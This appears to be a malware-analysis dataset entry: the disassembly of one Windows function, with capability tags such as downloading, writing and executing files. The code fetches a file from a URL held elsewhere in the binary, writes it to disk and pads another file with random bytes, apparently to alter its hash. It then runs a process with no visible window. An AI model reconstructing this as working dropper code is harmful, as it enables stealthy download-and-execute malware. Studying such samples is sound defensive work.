Function at 0x100205fa
Capabilities:
Create directory
Create http request
Create process on windows
Download and write a file
Get file size
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x10044cc8
call fcn.10033d28
sub esp, 0x4e4
cmp dword [0x10094c6c], 0x10
mov eax, dword [0x1005392c]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [0x10094c58]
mov dword [ebp - 0x10], esp
jae 0x1002062b
mov eax, 0x10094c58
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea ecx, [ebp - 0x474]
call fcn.100255a6
lea eax, [ebp - 0x30]
xor esi, esi
push eax
lea ecx, [ebp - 0x474]
mov dword [ebp - 4], esi
call fcn.100257d3
push 0x10094c54
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.10001bd5
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 2
call fcn.10001bd5
push esi
push esi
push esi
xor ebx, ebx
inc ebx
push ebx
push esi
mov byte [ebp - 4], 4
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, esi
mov dword [ebp - 0x478], edi
je 0x100206fe
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x1002069c
lea eax, [ebp - 0x48]
push esi
push 0x84000100
push esi
push esi
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 0x46c], eax
jne 0x100206bf
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x100206fe
cmp dword [ebp - 0x50], 0x10
mov eax, dword [ebp - 0x64]
jae 0x100206cb
lea eax, [ebp - 0x64]
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1002073f
push dword [ebp - 0x46c]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x478]
call edi
push esi
push ebx
lea ecx, [ebp - 0x68]
call fcn.1000151f
push esi
push ebx
lea ecx, [ebp - 0x4c]
call fcn.1000151f
push esi
push ebx
jmp 0x10020978
mov dword [ebp - 0x470], esi
mov dword [ebp - 0x47c], esi
mov ebx, 0x400
lea eax, [ebp - 0x470]
push eax
push ebx
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x46c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10020797
push esi
lea eax, [ebp - 0x47c]
push eax
push dword [ebp - 0x470]
lea eax, [ebp - 0x468]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10020797
cmp dword [ebp - 0x470], ebx
jae 0x10020750
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push dword [ebp - 0x46c]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x478]
call edi
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
push 3
pop eax
mov dword [ebp - 4], eax
jae 0x100207c8
lea ecx, [ebp - 0x2c]
push esi
push 0x80
push eax
push esi
push esi
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x470], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.1003411e
call fcn.1003412b
push 0x1e
cdq
pop ecx
idiv ecx
mov edi, edx
inc edi
shl edi, 0xc
push edi
call fcn.100329d5
cmp eax, esi
pop ecx
pop ecx
mov dword [ebp - 0x478], eax
je 0x100208bb
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
push 0x10047998
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
cmp edi, esi
mov dword [ebp - 0x46c], esi
jbe 0x10020866
call fcn.1003412b
cdq
mov ecx, 0xff
idiv ecx
mov ecx, dword [ebp - 0x46c]
inc dword [ebp - 0x46c]
cmp dword [ebp - 0x46c], edi
mov eax, dword [ebp - 0x478]
mov byte [ecx + eax], dl
jb 0x1002083c
lea eax, [ebp - 0x47c]
push eax
push dword [ebp - 0x470]
mov dword [ebp - 0x47c], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push eax
push dword [ebp - 0x470]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0x480]
push eax
push edi
push dword [ebp - 0x478]
mov dword [ebp - 0x480], esi
push dword [ebp - 0x470]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x478]
call fcn.10034992
pop ecx
push dword [ebp - 0x470]
call ebx
push 0x44
pop edi
push edi
lea eax, [ebp - 0x4f0]
push esi
push eax
call fcn.10033d50
push 0x10
lea eax, [ebp - 0x490]
push esi
push eax
mov dword [ebp - 0x4f0], edi
call fcn.10033d50
push 0x10094c70
lea eax, [ebp - 0x4ac]
push 0x10047d4c
push eax
call fcn.1000cb90
add esp, 0x24
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.100018d7
xor edi, edi
push esi
inc edi
push edi
lea ecx, [ebp - 0x4ac]
call fcn.1000151f
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1002092e
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x490]
push ecx
lea ecx, [ebp - 0x4f0]
push ecx
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10020962
push dword [ebp - 0x490]
call ebx
push dword [ebp - 0x48c]
call ebx
push esi
lea ecx, [ebp - 0x68]
push edi
call fcn.1000151f
push esi
lea ecx, [ebp - 0x4c]
push edi
call fcn.1000151f
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.1000151f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x474]
call fcn.100255af
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.100341e0
pop edi
pop esi
pop ebx
leave
ret